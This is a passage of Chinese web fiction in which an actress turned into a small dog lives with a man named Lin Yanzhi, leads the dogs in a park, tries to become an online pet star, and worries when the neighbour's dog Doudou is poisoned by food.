水晶吊灯没被打开,灰蒙蒙的,没有光彩,她不敢去想以后怎么办,本就灰暗的生活难道将彻底成为一潭死水,不起波澜。
她没有去道歉。
她很高兴自己又变成了小狗,没有人会让一只小狗去道歉。
也没有人会为难一只小狗。
她可以继续在草坪上自在地奔跑,裸奔也无所谓,路人还会夸她可爱。
他问她是不是真的把自己当成小狗,是不是真的愿意放弃一切?
其实她最不怕的就是失去一切,她从未真正拥有,也不怕失去。
最怕的就是看见他们失望的眼睛,好像在对她说:“好了,从现在开始我不会再爱你,你不值得我去爱。”
得到爱很难,失去爱好像就在一瞬间,在一个个看似平常的瞬间,你没有完成对方的期待,一切爱都消失了。
那他的爱究竟给了谁?给了符合期待的她,那不符合期待的她还是不是她?
夏焰轻轻拉住林砚之的手指,不去看他,只悄悄感受,他也微微勾住她的爪子。
她希望时间就此停止,像被丢进鱼缸的手表,让她活在这一刻,不去面对接下来的所有瞬间。
“咕噜噜——”
“打雷了!”尼莫大叫。
夏焰扭头骂它是弱智。
林砚之摸摸她的肚子,碰到她的痒痒肉,她一边躲一边笑。
“饿了吗?再等一下吧。”
这个点还不吃饭,等什么啊?
夏焰从前一天晚上被关进去已经十几个小时没吃过东西了,此刻饿得一点力气都没有,嗷嗷待哺的虚弱模样,好像再不进食就要归西了。
“在等什么啊?”
她扒拉着林砚之的手,听见他说:“等你的经纪人。”
门外恰好响起门铃声。
林砚之把她从腿上抱下来,放到沙发上。
她脑袋一片空白,完全没搞清楚什么情况。
“不是说不打电话的吗?”夏焰委屈地眨眼,看他向门口走去。
绝不能被抓回去。
手足无措的夏焰又躲进沙发底。
“夏焰!我来接你!你在哪里?”沈盛轻声细语地喊她,唯恐吓到这个敏感的小孩,脆弱的小狗。
“在哪里?我猜猜是不是在这里?”
她朝着夏焰慌乱间没藏起来的半个屁股就是一巴掌。
靠!怎么打到的!
夏焰回头一看和趴在地上的沈盛对视。
连忙把屁股缩进去,在里面贴地滑行,从这头滑到那头,让女人抓不住她。
“累死我了,小祖宗出来吧好不好?你生我气了是不是?”
“你起来,我把沙发抬起来。”
夏焰听到林砚之的话气得吐血,不够累的又来用沙发健身。
他把沙发抬起来,沈盛就去捉她。
“我打你你生气了是不是?那一巴掌我不是故意的。”
“什么?”
林砚之还没把沙发腿放下,扭头盯着女人,让她再说一遍。
“我……”
沈盛被男人的眼神唬住,一时间愣神,让夏焰从她的手下逃走。
夏焰慌不择路跑进林砚之的卧室,晕头转向不知道往哪里躲,躲进了他的衣柜。
“你什么意思?就在这她的工作怎么办?你给她发工资吗?你给我发工资吗?”
夏焰躲在林砚之的外衣口袋里,露出耳朵,偷听外面的动静。
“别说这些有的没的,是!当时是说小狗的时候归你管,可让她变回去不也是你的责任吗?”
声音模模糊糊听不真切,只能听到沈盛的声音
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,听不见林砚之到底在说什么,居然惹得她这么生气。
“什么叫失灵了?!啊?林老师你可别骗人,她刚结束电影拍摄,接下来有的是工作机会。”
“夏焰!”
夏焰把头缩进衣服口袋里,听见两人的脚步一前一后越来越近。
“夏焰!”
沈盛猛地拉开衣柜门,一眼就发现藏在口袋里的夏焰,小狗身体把口袋撑得鼓鼓的,她动作粗鲁地揪着夏焰的后脖颈,把她抓出来。
夏焰垂头丧气,彻底放弃挣扎,四只爪子无力垂下,听天由命。
“现在,亲她。”
她又落回林砚之的怀里,像被随意处理的物品,被人随意决定命运。
“快点,你不亲我找别的人亲她。”
夏焰悄悄拉住林砚之的纽扣。
别逼我走,拜托你。
她恳求林砚之,再给她一次保护,像在门口捡她回家一样,一点点怜悯的爱就足够让她无忧无虑地活着。
她瞪大眼睛,看见不断凑近的嘴唇,感觉到慢慢放到她额头的大手。
夏焰微不可察的气息吐露在男人胸前。
她闭上了眼睛,等待重新变回人形,结束这个一点也不罗曼蒂克的插曲,又回到她该待的地方。
温热的气息越来越近,想象中的吻却迟迟没有落下。
她睁开眼睛,林砚之没有吻她的额头,吻的是藏在额头前手指。
他把她朝向沈盛举起,沈盛不可置信地抓着她的四个爪子来回翻看,想要找出一点改变的痕迹。
时间就这样一点一滴的过去,趴在手表上睡觉的尼莫被摔门的声音惊醒。
“又打雷了?”
夏焰坐在林砚之手臂上一言不发,看着沈盛离开的方向蓦然产生一种被抛下的孤寂,可明明是她拒绝了对方伸出的手。
沈盛走了。
她在走之前没有像以前一样留下嘱咐或者命令。
夹杂着被欺骗的愤怒,无计可施的颓丧。
她离开没多久,林砚之收到了她的短信。
“在电影发布会之前找到办法,要不然她的所有努力都白费了。”
林砚之把手机收起,轻轻捏住她的脸,问她还痛不痛?又问她想吃什么?
夏焰摸摸肚子,感觉不到饿了,摇摇头不说话。
他把夏焰放到鱼缸边,想让她捞鱼开心一下,自己转身进厨房热饭。
“你什么时候再去上学?”
夏焰摇摇头。
“啥意思?你被开除了?我就说别让他送你去,那些凡夫俗子怎么懂得你,你看你那套拳法谁比得过你,见了不是崇拜你就是嫉妒你,不去也罢,做一只逍遥自在的狗,不叫俗世束缚,仰天大笑出门去,我辈岂是蓬蒿人!哈哈哈哈哈哈!竹杖芒鞋轻胜马,谁怕!一蓑烟雨任平生!哈哈哈哈!呕咳咳……”
“到底是谁去上学了?你不是外国鱼吗?”
“我本土化了。”
夏焰不可置信地听尼莫一首接一首地背古诗词。
林砚之做好了饭就把她抱到桌椅上,又是清汤寡水的鸡蛋面。
夏焰用嘴吹吹,吃得倒也开心,暂时把烦恼甩到一边。
察觉到林砚之的欲言又止,她叼着面条抬手示意:
请说。
“你的工资是多少?”
夏焰嘴里的面条掉出来,看林砚之一脸认真。
她想了想举起两个爪子。
“好。”林砚之点点头,低头打开手机,不知道在看什么,几分钟后抬头看向夏焰。
他说:“每个月五千。”
29. 林砚之你清高
“师傅最近身体很不好,经常咳嗽,而且老是忘事。天气这么冷还老是忘记戴围巾戴帽子,有时候带出去了又忘记带回来,我又跑出去给她找回来。”
瓜皮拖着一袋狗粮,扭头和夏焰说话。
“这么冷师傅还出门吗?”
夏焰说话间嘴里吐出白气,一团团混在冷空气里。
“你又不是不知道她,每天一定要出去遛弯打拳。”瓜皮有些无奈。
南方的冬天湿冷,老年人更要注意保暖,师傅却不放心上,每天都要去锻炼,少一天都觉得不得劲。
“她一个人太孤单了。”
“师傅身边没有别的亲人了吗?”
夏焰拖着两袋狗粮,鼻子吸进冷空气呼哧呼哧的喘息。
瓜皮摇摇头:“我从来没见到她和别人来往,只与小区的邻居来往,逢年过节和你主人搭个伴。”
夏焰知道师傅有个女儿但是出意外去世了,之后就只有她一个人生活,本来在大学当老师退休以后还在少年宫教过孩子,直到最近两年才闲下来。
“她闲不住总想找点事干,可是她现在的记性我都怕她出门找不回来,每次出门都跟紧她。”
夏焰有些意外,没想到短短几个月里师傅身体变化那么大,有些担心。
“没事儿,有事我来找你,你也要多来陪陪她。”
夏焰点点头,谈话间两只就把几袋狗粮拖到了小区门口。
“豆豆呢?”
瓜皮把狗粮放下大喘气,扭头找不见刚刚还跟在两人身后的豆豆。
“小豆!你又去哪了!”
夏焰大声呼喊豆豆的名字。
“我来啦—”
豆豆呼着白气从草丛另一头冲出来,翻滚一圈,想要在他们面前帅气亮相。
结果只滚了半圈。
“帮帮我,有点累了。”它像四脚朝天的乌龟。
夏焰和瓜皮抓着它的爪子把它翻过身来,捏住它的嘴筒子问它在偷偷吃什么。
“蘑菇力!刚才那小孩把蘑菇力上的巧克力吃了,怕被他妈妈发现,偷偷把饼干棒丢地下了。我为了保护他吃了一路。”
豆豆憨笑着吐出舌头。
“所以让你拿的狗粮呢?”
“狗粮?什么狗粮?”
夏焰抓住它的脑袋快速摇晃,大叫:“这里面究竟是什么?”
瓜皮守着拖来的三袋在门口等他们,夏焰领着豆豆原路返回去找被它落下的那袋狗粮。
他们一边走一边闻,一直没有闻到狗粮的味道。
“不应该啊。”夏焰低头在地上嗅嗅,只有身后这个大胖狗的味道。
他们只好原路往回走。
走啊走,走啊走,走到单元楼门口,走到电梯门口,最后走到林砚之家门口。
“哇撒!在这!”
夏焰一个爆栗打在豆豆脑袋上。
“搞了半天你出门就忘了拿!”
“太重了嘛我想着放下歇歇,结果歇好了起身就忘了。”
豆豆看着夏焰黑脸,连忙咬住狗粮的袋子,用头顶夏焰的下巴,叫她出发。
三只小狗终于走到公园门口,和来迎接他们的狗接头会面。
笑着递过几袋狗粮,像是过年走亲戚。
公园里的狗狗们可不光把夏焰当做家人,还当做至高无上的备受瞩目的盟主大人。
夏焰叫它们把狗粮分下去,不够吃等下和她回家拿。
林砚之当初为了照顾她买了一柜子的狗粮,比他自己屯的方便面还要多,买了小狗一辈子的口粮,一点也没考虑过保质期的问题。
夏焰把狗粮分给大家,既阻止了林砚之买的狗粮变成远古的化石,还解决了公园里的狗狗们食物问题,叫它们不用再去翻垃圾桶,过饥不饱食的日子。
它们边吃边大声汪汪叫,呼喊夏焰的名字,要她长命百岁,万万岁。
“一百岁就行了,够够的。”夏焰两只爪子摆摆叫它们低调低调。
“老大!你前段时间去哪了?”
“大毛姐说你去上学啦!”
“是和人一起上学还是和狗一起上学?”
“学的什么呀?算数还是体育?”
它们围着夏焰叽叽喳喳讲个不停,夏焰不知道要从哪里讲起。
突然出现一个声音打断大家。
“她进局子了。”
?
夏焰清晰地听见身边的狗狗们都倒吸一口凉气。
豆豆挺起胸膛替夏焰骄傲,吐出舌头替夏焰自豪。
“她打人进局子了!”
“天呐!”
夏焰又是一个爆栗。
豆豆捂头委屈:“打我干嘛?”
夏焰抓住它的口水兜质问它是不是偷听她和大毛的对话。
“嘿嘿。”它搂住夏焰的胳膊,“大家都没去过只有你去过,多威风啊。”
“听说那里很恐怖,老大怎么会到那里去?”
夏焰不好意思的揉揉鼻子,感觉有些难以启齿。
踩踩豆豆的大脚丫让它帮忙说,结果对方低头整理自己的口水兜故意忽视她的动作。
“因为你们老大打倒了坏人。”身边一直一言不发默默做事的瓜皮突然出声为师妹解围,“但是人类社会不允许使用拳头。”
夏焰在一堆哀嚎和愤怒声中向瓜皮投去感谢的目光。
“老大下次让我去!我跑的快!他们准逮不到我!哼哼!”
“你以为老大不如你吗?老大肯定是有她自己的考虑,你以为像你一样冲动吗!”
“好了好了,大家不要吵了。”
夏焰抬手阻止越来越混乱的场面。
“虽然是他先骚扰我,但是我确实出手伤人了,这不对,大家不能学我。”
“什么!老大才没错!”
“没错!没错!没错!”
“我……”
夏焰不知所措地站在它们中间,混乱极了,不知道要不要顺从它们的说法让它们满意,可是她在拘留所的那一夜发誓绝不再让沈盛失望。
她往后撤退一步,想要逃离这里。
“说你没错。”大毛的声音突然出现在耳边
夏焰下意识地跟随:“对,我没错!”
“没错!我没错!”
夏焰和大毛对视:“我没错。”
大家听到满意的答案又自顾自地低头吃起狗粮。
大毛低声笑着对她说:“做老大的第一准则,老大绝不会出错。”
“你要坚信自己,不会出错。”
夏焰微微张嘴,似懂非懂地点头,还没等她回过味来,瓜皮扯着她跑。
叫夏焰去拉架,豆豆大馋狗又抢了人家的狗粮,小泰迪还没吃几口,就被一个大脑袋遮住视线,什么也看不见,等大脑袋再次抬起,面前什么也没有了,小泰迪着急地哇哇哭。
“我给你一脚!”夏焰抬脚朝豆豆的屁股踢去
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。
豆豆被夏焰按着脑袋给小泰迪道歉。
“对不起。”它揣着手低着头表情诚恳。
“我是大馋狗。”
“说三遍。”
“我是大馋狗!”
“我是大馋狗!”
“我是大馋狗!”
豆豆仰天长啸,一定要痛改前非,再也不吃别人的狗粮。
夏焰从它的口水兜隔层里掏出它的储备粮,被压扁的小面包,还有重新加的新粮,叫小泰迪好好吃。
豆豆盯着它的面包流口水。
夏焰举起拳头警告它,它瘪瘪嘴说:“我还没吃过这个口味的呢。”
“那我们一起吃吧。”小泰迪把小面包递到豆豆跟前。
哦天呐,小宝宝。
夏焰要被它感动到落泪,身边流口水的小豆越看越不争气。
“那咋办?我就是嘴馋嘛,你不能不喜欢我!”豆豆咬她的脸,“必须要喜欢我!”
说完把面包咬下一大半。
“咋没尝出什么味儿呢?”它咂咂嘴仔细回味。
“猪八戒吃人参果。”
夏焰笑着心想谁帮她把心里话说出来了。
扭头看见一只画着全包眼线的比格犬。
“土狗。”
它对着豆豆说。
脖子上的项圈还是带刺的,打扮得超级朋克,谁见了不想来唱首摇滚。
“兄弟黑眼圈挺重啊,熬夜蹦迪了吗?没人骂你扰民吗?你这烟嗓抽多了吧?”
夏焰有些不满意它的鄙夷不屑。
还没等她继续开口,它的主人就出现把它拉走。
自从公园重新开放以后,来的人陆陆续续多起来了,不少人会带着自己宠物来公园里散步遛弯。
小泰迪凑到夏焰跟前软绵绵地说:“老大,这个狗叫阿飞,它是大明星哦。”
“大明星?”
有多大?
“它告诉我们,它的主人经常给它拍视频发到网上,它给主人赚了好多好多钱,现在已经不用上班啦专门养它。”
“啊?这么赚?”
小泰迪用力点头。
夏焰开始规划未来人生蓝图,其实要是能当上小狗明星也挺光宗耀祖,还能赚钱。
豆豆背着夏焰往回走。
“我想吃一个火腿肠。”
它和夏焰打商量。
“你站在老板跟前盯着他看,等他给你吃一口。”
豆豆真的背着夏焰停在卖烤肠的摊子前,吐出舌头像老板卖萌。
“这么萌。”
夏焰和豆豆被轮流摸头,老板撸狗撸得开心,然后继续卖他的烤肠。
“他咋不给我们。”
夏焰无语,怕它为了口吃的要等到天黑,只好从马甲口袋里掏出五块钱,递给老板。
那是林砚之给她装的零花钱,他非要给她开工资,除了工资以外每天还有十块钱的零花。
她站在豆豆背上嚼着香肠,思考着生活费的问题,总不能真的让他一直掏钱养她。
两只晃晃悠悠地走到家门口,看见正在门口掏钥匙闲聊的简阳和林砚之。
豆豆看着妈妈跑起来,夏焰往后仰,抓着它的口水兜领子才没摔下来。
简阳看看上面又看看下面,欲言又止,林砚之赶在她开口之前连忙伸手把夏焰抱下来。
“淘气。”
他抬手作势要打小狗的屁股给她点教训。
30. 谁在诋毁我们纯粹友谊
“好好好,就这个姿势,你叫他再凑近点。”
“凑近点。”夏焰勾勾爪子让林砚之凑近点。
她和尼莫隔着鱼缸靠在一起。
尼莫单手插腰歪头,鱼鳍高高扬起像是头痛还坚持走秀的模特。
夏焰穿着一件白色毛毛领马甲看起来乖得不行,路上遇到谁都要夸她两句。她端坐在林砚之手臂上,和林砚之一起得意。
此时把爪子在脖子上一横,面目狰狞,颇有几分威胁镜头的意味。
敢不点赞就解决了你。
林砚之拿着手机哐哐一顿拍,在两个的指挥下,越拍越近,要怼到夏焰脸上来。
“你确定这样会好看吗?”
林砚之问她。
“废话多,工作的时候别质疑领导。”
尼莫又换了个姿势,噘嘴侧躺下,送出一个飞吻。
夏焰一只手举起,另一只手横过,双手交叉,学奥特曼发射激光。
“就像阳光穿过黑夜~黎明悄悄划过天边~”
“哦哦哦哦哦~”
两个忘我地合唱。
林砚之在一阵狗叫声里沉默,他把毛衣袖口往上卷,大冬天的额头都冒汗,手机半个相册全是这两天拍的小狗照片。
“好了吧,要做饭了,还吃不吃饭了?”
“我们仨合照一张。”
夏焰让他把手机开自拍模式,三个脑袋凑得紧,尼莫在他们俩的空隙间找了个空位,留下一张合影。
“好了我去做饭。”
他把手机拿给夏焰,让她看看拍得满不满意。
“这个不好我都糊了。是不是消极怠工?你教训一下他,怎么回事这个小林,把我拍得这么胖,我当时可是选美冠军。”
夏焰看着他日益圆润的肚皮感叹:“肥美冠军?”
“讨厌!”它捂着脸扭屁股。
夏焰认真挑选着照片,要从里面挑出几张放在平台上,是选可爱一点的,还是搞笑一点的呢?不知道,索性全丢上去。
用她的爪子在屏幕上拍拍点点,终于选出几张满意的照片,全是今天穿着毛毛领拍的照片,她非常满意。
衣服是早上林砚之带她去商场里买的,她说什么也不穿他新买的那件全是绿青蛙的衣服。没办法只好开车带她去重新买。
车上有暖气,夏焰靠在座椅上睡得正香,被林砚之提前喊醒,叫她把衣服穿好。
“外面冷,把衣服穿上。”
夏焰嫌弃地抖抖瘌□□马甲,还是不不乐意穿。
“干嘛这么看着我?”
林砚之透过后视镜看她正幽怨地盯着他的后脑勺。
“就穿这一会,进商场就给你买新的。”
小狗狗耍赖说什么不穿,没办法,林砚之又妥协了,把她揣进外套里。
她探出一个脑袋,在他的大衣里面自己用爪子攀住,林砚之又在外面用手搂住她的身体。
刚从车里出来,停车场阴冷的空气激得她一哆嗦,把脑袋全部塞进他的衣服里面去。
林砚之无奈叹气:“我就说很冷吧。”
她在里面给了他一拳。
他们坐电梯到商场二楼,转完了宠物区也没挑到她喜欢的衣服,又带她找到卖童装的店。
“你好,先生是这样的,衣服请不要给您家狗狗上身试穿哦,如果喜欢可以在身上比划试试。”
林砚之点点头。
问她有没有看上哪件,夏焰伸出爪子指向那件天蓝色套头衫,上面还有黑白画的史努比。
她在沙发上站直身体,挺着肚子,林砚之拿着衣服在她前面比划,看来看去,思索片刻问旁边的销售员:“还有小一码的吗?”
“先生,您看的这是最小码了。”
“感觉还是有点大了。要不要再看看?”他问夏焰。
夏焰听了他的话也不给反应,只是一个劲儿地用爪子踩爪子,东张西望,好像无所谓的样子。
像小时候妈妈带她去买衣服,挑了自己喜欢的,妈妈却不喜欢,告诉她这件不适合她,叫她换件别的,她就装作无所谓的样子把喜欢的衣服放回原位,瞪大眼睛不让眼泪掉出来,她怕妈妈发现。
“你这孩子,挑件衣服还哭起来了。”
她不敢说话。然后被妈妈拉回家。
“还要其他的吗?”
夏焰转头,发现林砚之把衣服递给售货员,售货员拿着衣服走开,她有些难过。
“这件也好看。”
林砚之把带着毛毛领的小马甲举在夏焰面前:“这个好看吧。”
“美得很!美得很!”刚剪了标签夏焰就穿上,刚好合身。
店员们都夸她可爱,她倒不好意思缩在林砚之怀里。
“一共是2333元,我扫您。”
夏焰扯着身前的毛毛领惊呆了,这是什么凤凰毛吗?这么贵?
“都是给婴幼儿宝宝贴身穿的材质,肯定是最好的。”
在等林砚之付钱的时间里,店员小姐姐偷偷摸摸夏焰的屁股,摸完屁股又摸脑袋,夏焰梗着脖子不敢动弹,直到林砚之付完钱。
她把袋子递给他:“先生您慢走,欢迎下次光临。”
夏焰好奇袋子里面是什么,林砚之打开袋子让她进去。
她高兴地举起那件史努比上衣。
“不是说不买嘛?”
“也不是很大,你再长大点就可以穿了。”
夏焰又要流泪了,她吸着鼻涕,抱住林砚之的小腿,在他裤子上蹭蹭。
“你真像我妈。说不买还是给我买了,呜呜呜。”
“我这个冬天都不脱了呜呜呜。”
林砚之听不懂她在呜呜什么,只看到一只小狗抱着他的腿在跟他表忠心。
他把她抱进袋子里,她要他给她把这件也穿上,穿了件马甲再穿这件,就不会显得太空太大。
史努比小狗穿着史努比上衣,坐在袋子里,被林砚之提回家。
吃饭前又跑到镜子面前臭美。
“小方昉,小小方,看我的新衣服。”
她对着照片里的方昉转圈,要让她全方位地欣赏她的新衣服。
“怎么样?”
方昉仍
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然笑着。
“你想要新衣服和我说啊,梦里告诉我,我就把史努比那件烧给你,我跟你说我现在和史努比长得一模一样。”
她站起来小心翼翼触摸照片里方昉的笑脸。
“吃饭了!”
“来啦!”
夏焰坐在座椅上,打开林砚之的手机想看看照片发出去有没有水花。
一条标题是汪汪汪汪的帖子发出去,居然真的收获了几个点赞和一个评论。
“萌。”
没了。
“吃饭不要玩手机。”
林砚之把餐桌上的手机拿到客厅,叫夏焰乖乖吃饭。
“阿飞大师,请赐教。”
夏焰双手递上一袋奶酪棒。
她害怕在公园里会面有损她在小的们面前的形象,只好约在单元楼门口的草丛旁见面。
阿飞用它画了全包眼线的眼睛上下打量着夏焰。
夏焰摆低姿态认真请教。
她帮忙打开一个奶酪棒,递到阿飞嘴边。
对方接过,叼在嘴里,发动烟嗓:“好吧,既然你诚心诚意发问,那我就大发慈悲告诉你。”
“请讲。”夏焰拉它坐下。
“想要吃互联网的饭,就要搞清楚谁会给你这口饭。简而言之,你要搞清楚你的受众是谁,你身上最大的特点是什么,能吸引到什么样的人。”
夏焰似懂非懂。
“也就是说,你想要赢得所有人的关注和喜欢这是不可能的。”
阿飞摇摇手。
夏焰懂了,就像一部电影上映,不同的电影类型会吸引不同观众走进影院,而每个观众又会对电影产生不同的看法评价。
作为演员没法控制观众的评价,只有认真钻研剧本,在拍摄过程中做出百分百的努力。
阿飞又摆摆手:“错!并非没有办法!并不是只有他们可以筛选你,同样你也可以选择自己的受众。”
“就拿我来说,我经常和我主人一起直播打鼓,吸引来了一批年轻富有的姑娘为我花钱。”
它把头向后一甩,颇有些骄傲自豪。
“而你嘛,”它绕着夏焰走了一圈,“不能赚大钱,接点广告绝对没问题。”
“从现在开始,镜头里绝对不允许出现你龇牙咧嘴的丑照,那啥姿势,土死了,只允许歪头傻笑,就像你隔壁那只大肥狗一样。”
夏焰想象着豆豆的样子。
“阿飞!回家咯!”
阿飞的干货教学被人打断,它让夏焰回去认真执行一段时间,再来向它汇报成果。
它的主人一声接着一声地喊它的名字。
“来了来了,烦!”
夏焰跟着阿飞走出草丛。
“哇,阿飞这是你的女朋友吗?”
谁在诋毁我们纯粹的革命友谊?
夏焰抬头,被对方一把抱起。
“这位lady,你好漂亮啊。”
夏焰呆呆地看着眼前这张酷似梁朝伟的脸。
她低头问阿飞:“真的是为了看你吗?”
“你啥意思?”
31. 你把谁家狗抱回去了?
夏焰点开直播,把玩具熊上眼镜拿来卡在自己头上,又去林砚之书房里偷来笔和纸,窝在沙发里认真看直播。
“你要记住,我每一场直播都是值得深入研究的。”
阿飞告诉夏焰,一定要记录下它的每一个微表情,这都需要学习。
晚上七点,刚吃完晚饭,林砚之正在厨房洗碗,夏焰两手一揣,放在茶几上,认真学习。
屏幕里的阿飞穿着套头毛背心,坐在镜头前,脑袋晃晃悠悠,有节奏地击打面前的迷你架子鼓。
夏焰用她今天的零花钱给阿飞投了一个礼物。
“感谢组培大王林哥送来的小礼盒一个!”
身后的阿强戴着墨镜,穿着一件牛仔外套,两只胳膊击打两侧的架子鼓,动作激烈,在镜头前卖力挥洒汗水。
直播间的灯光时明时暗,影影绰绰,看不真切,偶尔对阿飞切个近景,让它卖个萌,它脑袋一歪舌头一甩,学阿强摆出两个摇滚手势,眼睛死死盯着镜头。
哦哦哦,记下来,记下来。
要、威、胁、观、众。
夏焰顶在头上的眼镜掉到鼻子上,两只爪子撑住下巴,认真记下阿飞的动作表情。
突然,直播间灯光完全变暗。
“下播了?”
夏焰点点屏幕发现直播间还有声音,直播还在继续,下一秒屏幕就亮起来,阿飞还是那件套头毛衣,主人阿强身上的牛仔外套已经消失不见,只留了一件老头背心,还是紧身的那种。
镜头不再对准阿飞,而是对准阿强,近得能看见他身上的汗水,每一个动作都精心设计,肌肉鼓起,挥洒汗水。
夏焰抬起胳膊往后闪躲。
好刺眼,哎呀。
这到底是什么类型主播?这还是萌宠频道吗!
这也要记下来吗?
这个部分让谁来?
夏焰张大嘴巴,扭头看见林砚之正脱下围裙走出厨房,她眼睛不由自主乱飞,瞟到他为了洗碗露出的一节小臂。
想到他是怎样轻松抬起沙发,在心里点点头确认把这个角色给他。
又是一阵劲爆的架子鼓声音。
林砚之看看夏焰,疑惑地走向她面前的手机。
夏焰眼神在林砚之和屏幕之间来回摇摆。
不对!怎么还要脱??
“汪汪汪!!”
“感谢美丽动人的王小姐送来嘉年华大礼包一份!我们奋战到天亮!!”
夏焰连忙把手机倒扣,不成想还是晚了一步,倒扣进林砚之的手掌心。
林砚之拿起手机,夏焰绝望地闭眼不敢看他的表情。
恶俗啊!林砚之我会赔你精神损失费的。
一个露乃果男。
她都不敢想这对“孔圣人”林砚之的精神冲击有多大。
手机里的声音消失了,林砚之退出直播间。
夏焰悄悄睁开眼睛看他,看他腮帮子崩得紧,准备倒下装死。
林砚之一把拉住她的爪子,她没法倒下,又坐在他的腿上。
夏焰感觉林砚之气懵了,说不出来话,一会儿望向天花板,一会儿又低头叹气。
她举起一只爪子向他发誓,一定会帮他清洗这段记忆,补偿他的精神损失。
“这是你的爱好?”
哦不不不不,这个还是太重口了,太超过了。
我是五好文明好少年。
夏焰疯狂摇头。
林砚之又仰头叹气,叹得夏焰心慌。
他对上夏焰的眼睛,语气严厉:“手机没收。这周看电视不许玩手机。”
今天已经周四了,夏焰算了一下很划算,顺着他的意思点头。
幸好不知道我还送了十块钱嘎嘎嘎。
“你还给他送礼物了?”林砚之捏着手机,小臂青筋暴起。
他怎么知道?
夏焰紧张地扭住嘴巴。
我刚才说出来了吗?
不对吧,说出来他也听不懂啊。
夏焰眨眨眼。
林砚之微张嘴巴,欲言又止,心事重重的样子。
他告诉夏焰:“明天没有零花钱。”
夏焰躺在豆豆的背上,忧郁地看着灰蒙蒙的天。
“吃烤肠去。”
豆豆往后仰头,碰碰夏焰。
“吃个蛋啊。”
“吃啥蛋?我不吃蛋白耶,你吃行吗?”
“没钱。”
“不信。”
豆豆身体一歪,夏焰侧翻在地,她顺势躺下,无力挣扎。
豆豆用鼻子顶开她的口袋,在里面翻翻找找。
“我分明闻到金钱的气息。”
“呵呵,那你看看有没有金钱的尸体。”
夏焰把口袋彻底大敞开,豆豆居然真的从里面找出一个硬币,不记得是买什么剩下的。
夏焰挥挥手,让它拿走。
豆豆拿着硬币,伸出舌头狂舔夏焰的脸。
夏焰坐起来擦掉脸上的口水,看着豆豆跑远。
“哇younglady我们又见面了。”
夏焰嘴巴抽动,不敢看他,满脑子都是昨天他脱掉的衣服。
“你好可爱啊,我刷到你主人发的你的照片了。”
他掏出手机,蹲在夏焰跟前,夏焰两只爪子抱住他的手腕,想要看得更清楚些。
帖子热度很高,很多人在评论区夸她可爱。
第一张照片就是她歪头笑看镜头,她脸都笑僵了,才拍出来这一张。
她接着往下翻看评论区。
“这啥雷霆睡姿哈哈。”
夏焰划回最上面,接着往后翻照片,往后的几张都是夏焰午睡时候林砚之偷偷拍下的照片。
小狗狗立着爪子四脚朝天。
小狗狗瘫成一片,吐着舌头,肚皮鼓鼓。
还有在阳光下撅着腚晒屁股。
这个,睡觉的时候总觉得身体不受控制。
夏焰汗颜。
居然都被他拍下来了!
她接着往后翻,要记录下林砚之的种种罪行。
没想到最后一张是他们在家的合照。
尼莫穿插在俩人中间,被虚化成一抹红色的痕迹,让照片显得格外不真实。
夏焰停下动作,阿强抽出手机。
他把手机屏幕正对着自己。
“你主人居然这么帅,而且特别像我的偶像,金城武!”
夏焰坐在阿强怀里,他一定要亲自把她送回家,想借机看看林砚之到底有多像他的偶像。
夏焰无力地坐在家门口,用力拍三下门。
身后的阿强精神抖擞,阿飞爪子放在胸前倒在门的另一边。
没等多久林砚之就来把门打开,他目不斜视
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地从地上捞起小狗,就准备关门。
“嗨!”
门关了。
夏焰和阿强对视。
“他为什么把阿飞抱进去了?”
阿强挠挠头,还没等他想明白,门又打开了。
“嗨!”
林砚之丧着脸把同样丧脸的阿飞推到他怀里,低头把门口的夏焰抱进怀里。
“砰”的一声。
门又关了。
夏焰趴在他的肩膀上偷笑,轻抓他泛红的耳垂。
她说:
“你这样真的很没礼貌,你知不知道你这样伤害了一个小男人脆弱的心。”
夏焰抓着他的衣领,一下一下点着他的心脏位置。
林砚之低头用鼻尖轻点她的侧脸。
夏焰身体一僵,熟悉的动作撬动她的回忆。
林砚之一如往常,把她放在沙发上,端来饼干,打开电视,让她老实待着。
他走进书房继续工作。
夏焰却发现他没把手机带进书房,还留在茶几上。
她抻头向屋里张望,一边迅速拿过手机抱在怀里,用小狗爪子指纹解锁了手机,点进相册,要把林砚之偷拍的照片通通删掉!
几百张照片翻都翻不完,打瞌睡的她,吃饭时候指指点点的她,没收零花钱生闷气的她,还有在草坪上自由奔跑的她,所有的照片全都是她。
“组培大王,你现在的每日任务就是给小比大大王拍照并上传。”
她捧着手机,给热评第一点赞,摇摇头自言自语:
“好吧,我堂堂武林盟主也要给他几分面子。”
她拍着胸脯,给自己打气。
又点进微信去看和沈盛的聊天记录。
一条上午发来的短信,迟迟未被回复。
沈盛问:她还好吗?
夏焰吸吸鼻子,拍一拍对面的头像。
对面秒回:你是谁?发张自拍。(勾手)(勾手)
耶。
夏焰歪头,离摄像头极近,自己自拍一张发给沈盛。
沈盛:(点赞)(点赞)是不是吃胖了?别吃太多啊,到时候很难减的。
林:ok
夏焰不知道事情解决了没有,怎么解决的,想问又不敢,偏偏沈盛也不提起,她们心有灵犀地舞蹈和平。
她注意听着屋里的动静,把手机放回原位,用爪子测量手机到桌沿的距离,不差分毫。
她长叹一口气,擦擦额头不存在的汗珠:“呼,这就是精益求精。”
黑屏的手机发出一声震动。
夏焰凑到跟前,一条奇怪的私信。
“兄弟,能多拍两张你的狗吗?不同角度的。多谢。”
奇怪。
别的评论都是要他抱着小狗拍照,这个评论却要小狗的照片。
要照片做什么?
她还来不及细想,又有电话打进来,夏焰忙带着电话跑进书房。
林砚之拿过手机。
来电显示简阳的名字。
“林老师,麻烦你,帮忙把我家门关上,我跑得急,没注意关门没有。”
简阳的声音断断续续,语气很急。
“好。”林砚之抱着夏焰站起身来,“出什么事了吗?”
“豆豆。”简阳在奔跑,气喘吁吁,“豆豆食物中毒了,我们在去医院的路上。”
32. 吃烤肠上天堂
“我早就该教训它!每次乱吃东西我都没放在心上!”
简阳瘫坐在医院长椅上,手搭在额头,情绪激动。
她不停地自责,来回反刍,自己为什么没有照顾好豆豆。
“要是,要是我今天在家,不叫它乱跑……”
她的眼泪一颗颗掉到地上,夏焰叼来纸巾为她擦眼泪。
丁丁搂过简阳,捏捏她的肩膀,安抚她的情绪。
“没事的,它一定会没事的。”
拥她入怀,亲吻她的发梢。
豆豆已经进入急诊室一段时间,医生在给它洗胃。
夏焰靠在两人脚边,情绪低落。
她心里发慌,不知道到底什么情况。
她和林砚之赶来的时候,豆豆已经被送进去了,林砚之找来主任医师肖旸旸,和他一起进去,一直也没出来。
